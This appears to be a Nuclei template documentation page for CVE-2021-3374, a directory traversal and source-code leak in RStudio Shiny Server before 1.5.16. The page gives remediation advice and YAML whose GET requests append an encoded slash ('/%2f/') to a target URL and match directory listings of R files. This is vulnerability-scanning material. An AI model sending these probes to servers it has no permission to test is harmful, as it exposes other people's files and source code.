Skip to content
Nuclei Templates

Rstudio Shiny Server <1.5.16 - Local File Inclusion

ID: CVE-2021-3374

Severity: medium

Author: geeknik

Tags: cve2021,cve,rstudio,traversal

Description

Section titled “Description”

Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.

YAML Source

Section titled “YAML Source”
id: CVE-2021-3374


info:
  name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
  author: geeknik
  severity: medium
  description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
  reference:
    - https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
    - https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3374
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3374
    cwe-id: CWE-22
    epss-score: 0.00235
    epss-percentile: 0.61494
    cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
  metadata:
    max-request: 2
    vendor: rstudio
    product: shiny_server
  tags: cve2021,cve,rstudio,traversal


http:
  - method: GET
    path:
      - "{{BaseURL}}/%2f/"
      - "{{BaseURL}}/sample-apps/hello/%2f/"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Index of /"


      - type: regex
        part: body
        regex:
          - "[A-Za-z].*\\.R"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502205c1c1d0ef0eecb9956ffca80911e585954b5828addce39f53f2378235d5e587c022100c0d067075c7734ae3441d9bfcc62c8a9b69058731e5eb1db74280d845800737b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-3374.yaml"

View on Github